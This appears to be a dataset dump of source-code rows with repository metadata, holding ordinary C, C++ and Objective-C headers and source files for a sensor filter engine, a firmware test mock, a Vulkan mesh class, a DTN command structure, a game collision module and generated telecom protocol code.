hexsha stringlengths 40 40 | size int64 5 1.05M | ext stringclasses 588
values | lang stringclasses 305
values | max_stars_repo_path stringlengths 3 363 | max_stars_repo_name stringlengths 5 118 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 10 | max_stars_count float64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringdate 2015-01-01 00:00:35 2022-03-31 23:43:49 ⌀ | max_stars_repo_stars_event_max_datetime stringdate 2015-01-01 12:37:38 2022-03-31 23:59:52 ⌀ | max_issues_repo_path stringlengths 3 363 | max_issues_repo_name stringlengths 5 118 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 10 | max_issues_count float64 1 134k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 363 | max_forks_repo_name stringlengths 5 135 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 10 | max_forks_count float64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringdate 2015-01-01 00:01:02 2022-03-31 23:27:27 ⌀ | max_forks_repo_forks_event_max_datetime stringdate 2015-01-03 08:55:07 2022-03-31 23:59:24 ⌀ | content stringlengths 5 1.05M | avg_line_length float64 1.13 1.04M | max_line_length int64 1 1.05M | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0415c7efe7cf4863b9c6215ab937469f1a6d4311 | 5,276 | h | C | include/step/filter.h | microbuilder/linaro_sensor_pipeline | 2675809412f48e032e7f058247c301bfd8bfcd31 | [
"Apache-2.0"
] | 3 | 2021-09-10T13:37:01.000Z | 2021-09-18T17:51:15.000Z | include/step/filter.h | microbuilder/linaro_sensor_pipeline | 2675809412f48e032e7f058247c301bfd8bfcd31 | [
"Apache-2.0"
] | 1 | 2021-09-18T18:11:24.000Z | 2021-09-18T18:11:24.000Z | include/step/filter.h | microbuilder/linaro_sensor_pipeline | 2675809412f48e032e7f058247c301bfd8bfcd31 | [
"Apache-2.0"
] | null | null | null | /*
* Copyright (c) 2021 Linaro
*
* SPDX-License-Identifier: Apache-2.0
*/
#ifndef STEP_FILTER_H__
#define STEP_FILTER_H__
#include <step/step.h>
#include <step/measurement/measurement.h>
/**
* @defgroup FILTER Filter Definitions
* @ingroup step_api
* @brief API header file for the STeP filter engine.
*
* This module implements the evaluation logic to determine if there is a
* match between a measurment's filter field and the filter chain associated
* with a processor node.
* @{
*/
/**
* @file
*/
#ifdef __cplusplus
extern "C" {
#endif
/**
* @brief Logical operand used between the current and
* previous filter values in a filter chain.
*
* @note The first value in a filter chain MUST be either STEP_FILTER_OP_IS
* of STEP_FILTER_OP_NOT.
*/
enum step_filter_op {
/**
* @brief Filter evaluation must be logically true. Solely for use as
* the first operand in a filter chain.
*
* @note This is functionally identical to STEP_FILTER_AND_IS, with the
* assumption that the previous value is true.
*
* @note The first value in a filter chain MUST be either STEP_FILTER_OP_IS
* of STEP_FILTER_OP_NOT.
*/
STEP_FILTER_OP_IS = 0,
/**
* @brief Filter evaluation must be logically false. Solely for use as
* the first operand in a filter chain.
*
* @note This is functionally identical to STEP_FILTER_AND_IS, with the
* assumption that the previous value is true.
*
* @note The first value in a filter chain MUST be either STEP_FILTER_OP_IS
* of STEP_FILTER_OP_NOT.
*/
STEP_FILTER_OP_NOT = 1,
/**
* @brief Previous operand AND current operand must resolve to being true,
* where the current filter evaluation is logically true. Solely for
* use in non-initial entries in a filter chain.
*/
STEP_FILTER_OP_AND = 2,
/**
* @brief Previous operand AND current operand must resolve to being true,
* where the current filter evaluation is logically false. Solely for
* use in non-initial entries in a filter chain.
*/
STEP_FILTER_OP_AND_NOT = 3,
/**
* @brief Previous operand OR current operand must resolve to being true,
* where the current filter evaluation is logically true. Solely for
* use in non-initial entries in a filter chain.
*/
STEP_FILTER_OP_OR = 4,
/**
* @brief Previous operand OR current operand must resolve to being true,
* where the current filter evaluation is logically false. Solely for
* use in non-initial entries in a filter chain.
*/
STEP_FILTER_OP_OR_NOT = 5,
/**
* @brief Exactly one of the previous operand OR current operand must
* resolve to being true, where the current filter evaluation is
* logically true. Solely for use in non-initial entries in a filter
* chain.
*/
STEP_FILTER_OP_XOR = 6,
};
/**
* @brief An individual filter entry.
*/
struct step_filter {
/**
* @brief The operand to apply between the current and previous step_filters.
*/
enum step_filter_op op;
/**
* @brief The measurement's filter value must exactly match this value,
* taking into account any bits excluded via ignore_mask.
*/
uint32_t match;
/**
* @brief Any bits set to 1 in this mask field will be ignored when
* determining if an exact match was found.
*
* @note This can be used to perfom and exact match only on the base and/or
* extended data type fields, for example.
*/
uint32_t ignore_mask;
};
/**
* @brief A filter chain.
*
* Set 'count' to 0 or 'chain' to NULL to indicate that this is a catch-all
* filter that should match on any valid incoming measurement.
*
* @note Entries in a filter chain are evaluated in a strictly linear
* left-to-right (or top-to-bottom) manner, where the sum of the
* previous operands is evaluated against the current filter entry.
* There is currently no mechanism to override the order of evaluation
* via parentheses or operator precedence.
*/
struct step_filter_chain {
/**
* @brief The number of filters supplied in 'chain'.
*
* If this value is 0, it will be interpretted as a catch-all indicator,
* matching on all measurements.
*/
uint32_t count;
/**
* @brief Pointer to an array of 'count' len of individual filters.
*
* If this value is NULL, it will be interpretted as a catch-all indicator,
* matching on all measurements.
*/
struct step_filter *chain;
};
/**
* @brief Prints details of the supplied filter chain using printk.
*
* @param fc The sdsp_filter_chain to print.
*/
void step_filt_print(struct step_filter_chain *fc);
/**
* @brief Evaluates the supplied step_measurement against the step_filter_chain
* to determine if there is a match.
*
* @param fc The step_filter_chain to evalute for a match.
* @param mes The step_measurement to evaluate a match against.
* @param match 1 if the node's filter chain matches, otherwise 0.
*
* @return int Zero on normal execution, otherwise a negative error code.
*/
int step_filt_evaluate(struct step_filter_chain *fc,
struct step_measurement *mes, int *match);
#ifdef __cplusplus
}
#endif
/**
* @}
*/
#endif /* STEP_FILTER_H_ */
| 28.518919 | 79 | 0.689917 |
f2f04c0c467f20937ca86955edb66cdf65368bda | 4,916 | c | C | core/testing/mock/recovery_image_mock.c | Atrate/Project-Cerberus | 083140b6cd239d269df463e56c21c6642f40cb63 | [
"MIT"
] | 27 | 2020-05-13T20:09:08.000Z | 2022-03-11T00:14:45.000Z | core/testing/mock/recovery_image_mock.c | Atrate/Project-Cerberus | 083140b6cd239d269df463e56c21c6642f40cb63 | [
"MIT"
] | 2 | 2020-11-19T18:56:30.000Z | 2021-08-10T11:19:18.000Z | core/testing/mock/recovery_image_mock.c | Atrate/Project-Cerberus | 083140b6cd239d269df463e56c21c6642f40cb63 | [
"MIT"
] | 8 | 2020-05-13T21:06:28.000Z | 2022-01-12T13:52:09.000Z | // Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT license.
#include <string.h>
#include "recovery_image_mock.h"
#include "manifest/pfm/pfm_manager.h"
static int recovery_image_mock_verify (struct recovery_image *img, struct hash_engine *hash,
struct signature_verification *verification, uint8_t *hash_out, size_t hash_length,
struct pfm_manager *pfm)
{
struct recovery_image_mock *mock = (struct recovery_image_mock*) img;
if (mock == NULL) {
return MOCK_INVALID_ARGUMENT;
}
MOCK_RETURN (&mock->mock, recovery_image_mock_verify, img, MOCK_ARG_CALL (hash),
MOCK_ARG_CALL (verification), MOCK_ARG_CALL (hash_out), MOCK_ARG_CALL (hash_length),
MOCK_ARG_CALL (pfm));
}
static int recovery_image_mock_get_hash (struct recovery_image *img, struct hash_engine *hash,
uint8_t *hash_out, size_t hash_length)
{
struct recovery_image_mock *mock = (struct recovery_image_mock*) img;
if (mock == NULL) {
return MOCK_INVALID_ARGUMENT;
}
MOCK_RETURN (&mock->mock, recovery_image_mock_get_hash, img, MOCK_ARG_CALL (hash),
MOCK_ARG_CALL (hash_out), MOCK_ARG_CALL (hash_length));
}
static int recovery_image_mock_get_version (struct recovery_image *img, char *version, size_t len)
{
struct recovery_image_mock *mock = (struct recovery_image_mock*) img;
if (mock == NULL) {
return MOCK_INVALID_ARGUMENT;
}
MOCK_RETURN (&mock->mock, recovery_image_mock_get_version, img, MOCK_ARG_CALL (version),
MOCK_ARG_CALL (len));
}
static int recovery_image_mock_apply_to_flash (struct recovery_image *img, struct spi_flash *flash)
{
struct recovery_image_mock *mock = (struct recovery_image_mock*) img;
if (mock == NULL) {
return MOCK_INVALID_ARGUMENT;
}
MOCK_RETURN (&mock->mock, recovery_image_mock_apply_to_flash, img, MOCK_ARG_CALL (flash));
}
static int recovery_image_mock_func_arg_count (void *func)
{
if (func == recovery_image_mock_verify) {
return 5;
}
else if (func == recovery_image_mock_get_hash) {
return 3;
}
else if (func == recovery_image_mock_get_version) {
return 2;
}
else if (func == recovery_image_mock_apply_to_flash) {
return 1;
}
else {
return 0;
}
}
static const char* recovery_image_mock_func_name_map (void *func)
{
if (func == recovery_image_mock_verify) {
return "verify";
}
else if (func == recovery_image_mock_get_hash) {
return "get_hash";
}
else if (func == recovery_image_mock_get_version) {
return "get_version";
}
else if (func == recovery_image_mock_apply_to_flash) {
return "apply_to_flash";
}
else {
return "unknown";
}
}
static const char* recovery_image_mock_arg_name_map (void *func, int arg)
{
if (func == recovery_image_mock_verify) {
switch (arg) {
case 0:
return "hash";
case 1:
return "verification";
case 2:
return "hash_out";
case 3:
return "hash_length";
case 4:
return "pfm";
}
}
else if (func == recovery_image_mock_get_hash) {
switch (arg) {
case 0:
return "hash";
case 1:
return "hash_out";
case 2:
return "hash_length";
}
}
else if (func == recovery_image_mock_get_version) {
switch (arg) {
case 0:
return "version";
case 1:
return "len";
}
}
else if (func == recovery_image_mock_apply_to_flash) {
switch (arg) {
case 0:
return "flash";
}
}
return "unknown";
}
/**
* Initialize a mock instance for a recovery image.
*
* @param mock The mock to initialize.
*
* @return 0 if the mock was initialized successfully or an error code.
*/
int recovery_image_mock_init (struct recovery_image_mock *mock)
{
int status;
if (mock == NULL) {
return MOCK_INVALID_ARGUMENT;
}
memset (mock, 0, sizeof (struct recovery_image_mock));
status = mock_init (&mock->mock);
if (status != 0) {
return status;
}
mock_set_name (&mock->mock, "recovery_image");
mock->base.verify = recovery_image_mock_verify;
mock->base.get_hash = recovery_image_mock_get_hash;
mock->base.get_version = recovery_image_mock_get_version;
mock->base.apply_to_flash = recovery_image_mock_apply_to_flash;
mock->mock.func_arg_count = recovery_image_mock_func_arg_count;
mock->mock.func_name_map = recovery_image_mock_func_name_map;
mock->mock.arg_name_map = recovery_image_mock_arg_name_map;
return 0;
}
/**
* Free the resources used by a recovery image mock instance.
*
* @param mock The mock to release.
*/
void recovery_image_mock_release (struct recovery_image_mock *mock)
{
if (mock != NULL) {
mock_release (&mock->mock);
}
}
/**
* Validate the recovery image mock instance was called as expected and release it.
*
* @param mock The mock instance to validate.
*
* @return 0 if the mock was called as expected or 1 if not.
*/
int recovery_image_mock_validate_and_release (struct recovery_image_mock *mock)
{
int status = 1;
if (mock != NULL) {
status = mock_validate (&mock->mock);
recovery_image_mock_release (mock);
}
return status;
}
| 22.971963 | 99 | 0.726404 |
62c4b0e4789ea824ec441b197f4d6805ff675570 | 891 | h | C | src/String/NSObject+NSString.h | MulleFoundation/MulleObjCValueFoundation | 66ec2126614890cf6883deb4e180ee98343f6254 | [
"BSD-3-Clause"
] | null | null | null | src/String/NSObject+NSString.h | MulleFoundation/MulleObjCValueFoundation | 66ec2126614890cf6883deb4e180ee98343f6254 | [
"BSD-3-Clause"
] | null | null | null | src/String/NSObject+NSString.h | MulleFoundation/MulleObjCValueFoundation | 66ec2126614890cf6883deb4e180ee98343f6254 | [
"BSD-3-Clause"
] | null | null | null | //
// NSObject+NSString.h
// MulleObjCValueFoundation
//
// Created by Nat! on 09.05.17.
// Copyright © 2017 Mulle kybernetiK. All rights reserved.
//
#import "import.h"
@class NSString;
@interface NSObject( NSString)
- (NSString *) description;
- (NSString *) debugDescription;
//
// mulleTestDescription can be the same as description, but shouldn't present
// any pointer addresses or other text that varies between test runs
//
- (NSString *) mulleTestDescription;
- (char *) UTF8String;
- (NSComparisonResult) mulleCompareDescription:(id) other;
// this is intended to possibly output quoted for NSNumber and NSString
// and "as is" for all others
- (NSString *) mulleQuotedDescriptionIfNeeded;
@end
// useful to set to 1 for tests, since it suppresses the varying pointer value
MULLE_OBJC_VALUE_FOUNDATION_EXTERN_GLOBAL
BOOL MulleDebugDescriptionEllideAddressOutput;
| 22.846154 | 78 | 0.754209 |
62541fbf1e8c69caf69ebe1820eb221b3a189df9 | 1,800 | h | C | cases/spherical_surfers/param/init/objects/surfer__us_1o0__surftimeconst_10o0__reorientationtime_1o5/parameters.h | C0PEP0D/sheld0n | 497d4ee8b6b1815cd5fa1b378d1b947ee259f4bc | [
"MIT"
] | null | null | null | cases/spherical_surfers/param/init/objects/surfer__us_1o0__surftimeconst_10o0__reorientationtime_1o5/parameters.h | C0PEP0D/sheld0n | 497d4ee8b6b1815cd5fa1b378d1b947ee259f4bc | [
"MIT"
] | null | null | null | cases/spherical_surfers/param/init/objects/surfer__us_1o0__surftimeconst_10o0__reorientationtime_1o5/parameters.h | C0PEP0D/sheld0n | 497d4ee8b6b1815cd5fa1b378d1b947ee259f4bc | [
"MIT"
] | null | null | null | #ifndef C0P_PARAM_INIT_OBJECTS_SURFER__US_1O0__SURFTIMECONST_10O0__REORIENTATIONTIME_1O5_PARAMETERS_H
#define C0P_PARAM_INIT_OBJECTS_SURFER__US_1O0__SURFTIMECONST_10O0__REORIENTATIONTIME_1O5_PARAMETERS_H
#pragma once
// THIS FILE SHOULD NOT BE EDITED DIRECTLY BY THE USERS.
// THIS FILE WILL BE AUTOMATICALLY EDITED WHEN THE
// COPY/REMOVE COMMAND ARE USED
// std include
#include <memory> // shared_ptr
#include <vector>
#include <string>
// app include
#include "core/init/objects/object/init/core.h"
// FLAG: INCLUDE INIT BEGIN
#include "param/init/objects/surfer__us_1o0__surftimeconst_10o0__reorientationtime_1o5/pos/choice.h"
#include "param/init/objects/surfer__us_1o0__surftimeconst_10o0__reorientationtime_1o5/orient/choice.h"
// FLAG: INCLUDE INIT END
namespace c0p {
template<typename TypeSurferUs1O0Surftimeconst10O0Reorientationtime1O5Step>
struct InitSurferUs1O0Surftimeconst10O0Reorientationtime1O5Parameters {
std::string name = "object";
// make data
std::vector<std::shared_ptr<InitInitInit<TypeSurferUs1O0Surftimeconst10O0Reorientationtime1O5Step>>> data;
InitSurferUs1O0Surftimeconst10O0Reorientationtime1O5Parameters(std::shared_ptr<TypeSurferUs1O0Surftimeconst10O0Reorientationtime1O5Step> sSurferUs1O0Surftimeconst10O0Reorientationtime1O5Step) {
// FLAG: MAKE INIT BEGIN
data.push_back(std::make_shared<InitSurferUs1O0Surftimeconst10O0Reorientationtime1O5Pos<TypeSurferUs1O0Surftimeconst10O0Reorientationtime1O5Step>>(sSurferUs1O0Surftimeconst10O0Reorientationtime1O5Step));
data.push_back(std::make_shared<InitSurferUs1O0Surftimeconst10O0Reorientationtime1O5Orient<TypeSurferUs1O0Surftimeconst10O0Reorientationtime1O5Step>>(sSurferUs1O0Surftimeconst10O0Reorientationtime1O5Step));
// FLAG: MAKE INIT END
}
};
}
#endif
| 47.368421 | 214 | 0.845 |
9209f552b5433be30a6bce5e7a0db60f07d60605 | 1,816 | h | C | pixy.h | rzaracota/vulkan-rails | a8196e42bfb4ea68b6d6721d8d328eaf18e8dadd | [
"MIT"
] | null | null | null | pixy.h | rzaracota/vulkan-rails | a8196e42bfb4ea68b6d6721d8d328eaf18e8dadd | [
"MIT"
] | 1 | 2017-08-09T04:19:49.000Z | 2017-08-09T04:19:49.000Z | pixy.h | rzaracota/vulkan-rails | a8196e42bfb4ea68b6d6721d8d328eaf18e8dadd | [
"MIT"
] | null | null | null | /**
* pixy.h - base class for a visible resource on the screen. A pixy will be
* a 2D rectangle.
**/
#pragma once
#include "rails.h"
#include "vulkanmesh.h"
struct Pixy : public Mesh {
Pixy(VkDevice dev, std::string filename,
std::string texPath = "chalet/cube.png") : Mesh(dev, filename) {
generate();
}
~Pixy() {
}
bool operator==(const Mesh & that) const {
return path == that.path;
}
friend std::ostream & operator<<(std::ostream & output,
const Pixy & pixy) {
output << "Pixy: " << pixy.path;
return output;
}
void setData(const std::vector<Vertex> & newVertices,
const std::vector<uint32_t> & newIndices) {
vertices = newVertices;
indices = newIndices;
}
void generate() {
Vertex topLeft, topRight;
Vertex bottomLeft, bottomRight;
topLeft.pos.x = -1.0;
topLeft.pos.z = 1.0;
topLeft.pos.y = 0.0;
topLeft.texCoord.x = 0.0;
topLeft.texCoord.y = 0.0;
vertices.push_back(topLeft);
topRight.pos.x = 1.0;
topRight.pos.z = 1.0;
topRight.pos.y = 0.0;
topRight.texCoord.x = 1.0;
topRight.texCoord.y = 0.0;
vertices.push_back(topRight);
bottomLeft.pos.x = -1.0;
bottomLeft.pos.z = -1.0;
bottomLeft.pos.y = 0.0;
bottomLeft.texCoord.x = 0.0;
bottomLeft.texCoord.y = 1.0;
vertices.push_back(bottomLeft);
bottomRight.pos.x = 1.0;
bottomRight.pos.z = -1.0;
bottomRight.pos.y = 0.0;
bottomRight.texCoord.x = 1.0;
bottomRight.texCoord.y = 1.0;
vertices.push_back(bottomRight);
int tl, tr, bl, br;
tl = 0;
tr = 1;
bl = 2;
br = 3;
indices.push_back(bl);
indices.push_back(br);
indices.push_back(tl);
indices.push_back(tl);
indices.push_back(br);
indices.push_back(tr);
}
};
| 19.319149 | 75 | 0.601322 |
2e2f05fcf89207f35e0588b6abcafc632fd515a4 | 240 | h | C | Example/Example/Root/FSRootVC.h | zhangzhongyan/FSGridView | 12a1b7f9178559a8bcd574693fb61b2a447e03c9 | [
"MIT"
] | 10 | 2020-06-05T09:29:19.000Z | 2022-02-25T10:22:59.000Z | Example/Example/Root/FSRootVC.h | zhangzhongyan/FSGridView | 12a1b7f9178559a8bcd574693fb61b2a447e03c9 | [
"MIT"
] | 5 | 2021-01-10T21:46:01.000Z | 2021-10-09T04:26:42.000Z | Example/Example/Root/FSRootVC.h | zhangzhongyan/FSGridView | 12a1b7f9178559a8bcd574693fb61b2a447e03c9 | [
"MIT"
] | 1 | 2022-02-25T10:23:01.000Z | 2022-02-25T10:23:01.000Z | //
// FSRootVC.h
// Example
//
// Created by 张忠燕 on 2020/5/29.
// Copyright © 2020 张忠燕. All rights reserved.
//
#import <UIKit/UIKit.h>
NS_ASSUME_NONNULL_BEGIN
@interface FSRootVC : UITableViewController
@end
NS_ASSUME_NONNULL_END
| 13.333333 | 46 | 0.716667 |
2e50814a6dee87d8bd84004cfdc53c46bb7a3339 | 1,922 | h | C | contrib/dtnsuite/dtnbox/Model/command.h | yellowjigi/ion | 4fafd7897628e2ead2595ede01470af6105e521e | [
"Unlicense"
] | 2 | 2021-04-08T08:02:41.000Z | 2021-04-08T08:41:25.000Z | contrib/dtnsuite/dtnbox/Model/command.h | bonedaddy/ion-dtn | 3c07c53a6002163545fd92ea99b98cdcceea4e17 | [
"Unlicense"
] | null | null | null | contrib/dtnsuite/dtnbox/Model/command.h | bonedaddy/ion-dtn | 3c07c53a6002163545fd92ea99b98cdcceea4e17 | [
"Unlicense"
] | null | null | null | /********************************************************
** Authors: Nicolò Castellazzi, nicolo.castellazzi@studio.unibo.it
** Marcello Ballanti, marcello.ballanti@studio.unibo.it
** Marco Bertolazzi, marco.bertolazzi3@studio.unibo.it
** Carlo Caini (DTNbox project supervisor), carlo.caini@unibo.it
**
** Copyright 2018 University of Bologna
** Released under GPLv3. See LICENSE.txt for details.
**
********************************************************/
/*
* command.h
*/
#ifndef COMMAND_H_
#define COMMAND_H_
#include <sqlite3.h>
#include "message.h"
//definisco un enum per gli stati di un comando
typedef enum CmdState {CMD_DESYNCHRONIZED, CMD_PENDING, CMD_CONFIRMED, CMD_FAILED, CMD_PROCESSING} CmdState;
typedef struct command command;
//definisco le funzioni polimorfiche per i comandi in una struttura
//la signature delle funzioni è ancora da definire
typedef struct commandFuncTable{
void (*createCommand)(command** cmd); //usata con newCommand() per creare command da stringa di testo
void (*destroyCommand)(command* cmd); //dealloca le parti specifiche del command
void (*receiveCommand)(command* cmd, sqlite3* dbConn, char* ackCommandText);
void (*sendCommand)(command* cmd);
} commandFuncTable;
//comando presente in un messaggio
struct command {
char* text;
CmdState state;
unsigned long long creationTimestamp;
message msg;
commandFuncTable funcTable;
};
typedef struct {
char* cmdName;
commandFuncTable funcs;
} cmdTableEntry;
//questa funzione crea il comando base. Delega alla createCommand() opportuna
//le operazioni specifiche di un tipo di comando
void newCommand(command** cmd, char* text);
//questa funzione serve a deallocare la memoria comune a tutti i comandi
//da chiamare nella destroyCommand() una volta deallocate le
//parti specifiche di un tipo di comando
void destroyCommand(command* cmd);
#endif /* COMMAND_H_ */
| 32.033333 | 108 | 0.709677 |
448e6b71a6c61cd071dfb2901874b380f875bd88 | 2,850 | c | C | cmake_targets/lte_build_oai/build/CMakeFiles/F1AP_R15.2.1/F1AP_ULUPTNLInformation-ToBeSetup-Item.c | LaughingBlue/openairinterface5g | 2195e8e4cf6c8c5e059b0e982620480225bfa17a | [
"Apache-2.0"
] | 1 | 2021-03-08T07:58:23.000Z | 2021-03-08T07:58:23.000Z | cmake_targets/lte_build_oai/build/CMakeFiles/F1AP_R15.2.1/F1AP_ULUPTNLInformation-ToBeSetup-Item.c | LaughingBlue/openairinterface5g | 2195e8e4cf6c8c5e059b0e982620480225bfa17a | [
"Apache-2.0"
] | null | null | null | cmake_targets/lte_build_oai/build/CMakeFiles/F1AP_R15.2.1/F1AP_ULUPTNLInformation-ToBeSetup-Item.c | LaughingBlue/openairinterface5g | 2195e8e4cf6c8c5e059b0e982620480225bfa17a | [
"Apache-2.0"
] | 4 | 2019-06-06T16:35:41.000Z | 2021-05-30T08:01:04.000Z | /*
* Generated by asn1c-0.9.29 (http://lionet.info/asn1c)
* From ASN.1 module "F1AP-IEs"
* found in "/home/labuser/Desktop/openairinterface5g_f1ap/openair2/F1AP/MESSAGES/ASN1/R15.2.1/F1AP-IEs.asn"
* `asn1c -gen-PER -fcompound-names -no-gen-example -findirect-choice -fno-include-deps -D /home/labuser/Desktop/openairinterface5g_f1ap/cmake_targets/lte_build_oai/build/CMakeFiles/F1AP_R15.2.1`
*/
#include "F1AP_ULUPTNLInformation-ToBeSetup-Item.h"
#include "F1AP_ProtocolExtensionContainer.h"
asn_TYPE_member_t asn_MBR_F1AP_ULUPTNLInformation_ToBeSetup_Item_1[] = {
{ ATF_NOFLAGS, 0, offsetof(struct F1AP_ULUPTNLInformation_ToBeSetup_Item, uLUPTNLInformation),
(ASN_TAG_CLASS_CONTEXT | (0 << 2)),
+1, /* EXPLICIT tag at current level */
&asn_DEF_F1AP_UPTransportLayerInformation,
0,
{ 0, 0, 0 },
0, 0, /* No default value */
"uLUPTNLInformation"
},
{ ATF_POINTER, 1, offsetof(struct F1AP_ULUPTNLInformation_ToBeSetup_Item, iE_Extensions),
(ASN_TAG_CLASS_CONTEXT | (1 << 2)),
-1, /* IMPLICIT tag at current level */
&asn_DEF_F1AP_ProtocolExtensionContainer_160P95,
0,
{ 0, 0, 0 },
0, 0, /* No default value */
"iE-Extensions"
},
};
static const int asn_MAP_F1AP_ULUPTNLInformation_ToBeSetup_Item_oms_1[] = { 1 };
static const ber_tlv_tag_t asn_DEF_F1AP_ULUPTNLInformation_ToBeSetup_Item_tags_1[] = {
(ASN_TAG_CLASS_UNIVERSAL | (16 << 2))
};
static const asn_TYPE_tag2member_t asn_MAP_F1AP_ULUPTNLInformation_ToBeSetup_Item_tag2el_1[] = {
{ (ASN_TAG_CLASS_CONTEXT | (0 << 2)), 0, 0, 0 }, /* uLUPTNLInformation */
{ (ASN_TAG_CLASS_CONTEXT | (1 << 2)), 1, 0, 0 } /* iE-Extensions */
};
asn_SEQUENCE_specifics_t asn_SPC_F1AP_ULUPTNLInformation_ToBeSetup_Item_specs_1 = {
sizeof(struct F1AP_ULUPTNLInformation_ToBeSetup_Item),
offsetof(struct F1AP_ULUPTNLInformation_ToBeSetup_Item, _asn_ctx),
asn_MAP_F1AP_ULUPTNLInformation_ToBeSetup_Item_tag2el_1,
2, /* Count of tags in the map */
asn_MAP_F1AP_ULUPTNLInformation_ToBeSetup_Item_oms_1, /* Optional members */
1, 0, /* Root/Additions */
2, /* First extension addition */
};
asn_TYPE_descriptor_t asn_DEF_F1AP_ULUPTNLInformation_ToBeSetup_Item = {
"ULUPTNLInformation-ToBeSetup-Item",
"ULUPTNLInformation-ToBeSetup-Item",
&asn_OP_SEQUENCE,
asn_DEF_F1AP_ULUPTNLInformation_ToBeSetup_Item_tags_1,
sizeof(asn_DEF_F1AP_ULUPTNLInformation_ToBeSetup_Item_tags_1)
/sizeof(asn_DEF_F1AP_ULUPTNLInformation_ToBeSetup_Item_tags_1[0]), /* 1 */
asn_DEF_F1AP_ULUPTNLInformation_ToBeSetup_Item_tags_1, /* Same as above */
sizeof(asn_DEF_F1AP_ULUPTNLInformation_ToBeSetup_Item_tags_1)
/sizeof(asn_DEF_F1AP_ULUPTNLInformation_ToBeSetup_Item_tags_1[0]), /* 1 */
{ 0, 0, SEQUENCE_constraint },
asn_MBR_F1AP_ULUPTNLInformation_ToBeSetup_Item_1,
2, /* Elements count */
&asn_SPC_F1AP_ULUPTNLInformation_ToBeSetup_Item_specs_1 /* Additional specs */
};
| 44.53125 | 196 | 0.781404 |
94ec9ffb7eb0e0496e4aee4aec8c7c9528364fb1 | 573 | h | C | Sources/Plugins/Image_SDLImage/SDLImageReader.h | jdelezenne/Sonata | fb1b1b64a78874a0ab2809995be4b6f14f9e4d56 | [
"MIT"
] | null | null | null | Sources/Plugins/Image_SDLImage/SDLImageReader.h | jdelezenne/Sonata | fb1b1b64a78874a0ab2809995be4b6f14f9e4d56 | [
"MIT"
] | null | null | null | Sources/Plugins/Image_SDLImage/SDLImageReader.h | jdelezenne/Sonata | fb1b1b64a78874a0ab2809995be4b6f14f9e4d56 | [
"MIT"
] | null | null | null | /*=============================================================================
SDLImageReader.h
Project: Sonata Engine
Author: Julien Delezenne
=============================================================================*/
#ifndef _SE_SDLIMAGEIMAGEREADER_H_
#define _SE_SDLIMAGEIMAGEREADER_H_
#include "SDLImageCommon.h"
namespace SE_SDLImage
{
class SDLImageReader : public ImageReader
{
public:
SDLImageReader();
virtual ~SDLImageReader();
virtual Image* LoadImage(Stream& stream, ImageReaderOptions* options = NULL);
protected:
Image* _Image;
};
}
#endif
| 19.1 | 79 | 0.56719 |
7fb858c0059c0f04c9011b438aef616c921edeae | 1,381 | h | C | Source/ModuleCollisions.h | AdriaSeSa/Chaketeros | e0358ba227d0929ee8f9c20dad8a457bcf008020 | [
"MIT"
] | 8 | 2021-02-23T17:55:45.000Z | 2021-06-18T22:14:40.000Z | Source/ModuleCollisions.h | Memory-Leakers/Chaketeros | e0358ba227d0929ee8f9c20dad8a457bcf008020 | [
"MIT"
] | null | null | null | Source/ModuleCollisions.h | Memory-Leakers/Chaketeros | e0358ba227d0929ee8f9c20dad8a457bcf008020 | [
"MIT"
] | 3 | 2021-02-23T17:59:15.000Z | 2021-04-28T18:13:49.000Z | #ifndef __MODULECOLLISIONS_H__
#define __MODULECOLLISIONS_H__
#define MAX_COLLIDERS 500
#include "Module.h"
#include "Collider.h"
class ModuleCollisions : public Module
{
public:
// Constructor
// Fills all collision matrix data
ModuleCollisions();
// Destructor
~ModuleCollisions();
bool Start() override;
// Called at the beginning of the application loop
// Removes all colliders pending to delete
// Checks for new collisions and calls its listeners
UpdateResult PreUpdate();
// Called at the middle of the application loop
// Switches the debug mode on/off
UpdateResult Update();
// Called at the end of the application loop
// Draw all colliders (if debug mode is enabled)
UpdateResult PostUpdate();
// Removes all existing colliders
bool CleanUp();
// Adds a new collider to the list
Collider* AddCollider(SDL_Rect rect, Type type, Module* listener = nullptr);
// Draws all existing colliders with some transparency
void DebugDraw();
void CleanUpScene();
private:
// All existing colliders in the scene
Collider* colliders[MAX_COLLIDERS] = { nullptr };
// The collision matrix. Defines the interaction for two collider types
// If set two false, collider 1 will ignore collider 2
bool matrix[uint(Type::MAX)][uint(Type::MAX)];
// Simple debugging flag to draw all colliders
bool debug = false;
};
#endif // __MODULECOLLISIONS_H__ | 24.660714 | 77 | 0.748009 |
3c338128ad188b624d9011b0510171c5e8774400 | 1,340 | h | C | src/Chinese/events/stat/featuretypes/ch_ETContainsCharFeatureType.h | BBN-E/serif | 1e2662d82fb1c377ec3c79355a5a9b0644606cb4 | [
"Apache-2.0"
] | 1 | 2022-03-24T19:57:00.000Z | 2022-03-24T19:57:00.000Z | src/Chinese/events/stat/featuretypes/ch_ETContainsCharFeatureType.h | BBN-E/serif | 1e2662d82fb1c377ec3c79355a5a9b0644606cb4 | [
"Apache-2.0"
] | null | null | null | src/Chinese/events/stat/featuretypes/ch_ETContainsCharFeatureType.h | BBN-E/serif | 1e2662d82fb1c377ec3c79355a5a9b0644606cb4 | [
"Apache-2.0"
] | null | null | null | // Copyright 2008 by BBN Technologies Corp.
// All Rights Reserved.
#ifndef CH_ET_CONTAINS_CHAR_FEATURE_TYPE_H
#define CH_ET_CONTAINS_CHAR_FEATURE_TYPE_H
#include "Generic/common/Symbol.h"
#include "Generic/common/SymbolConstants.h"
#include "Generic/events/stat/EventTriggerFeatureType.h"
#include "Generic/events/stat/EventTriggerObservation.h"
#include "Generic/discTagger/DTBigramFeature.h"
#include "Generic/discTagger/DTState.h"
#include "Generic/names/discmodel/TokenObservation.h"
class ChineseETContainsCharFeatureType : public EventTriggerFeatureType {
public:
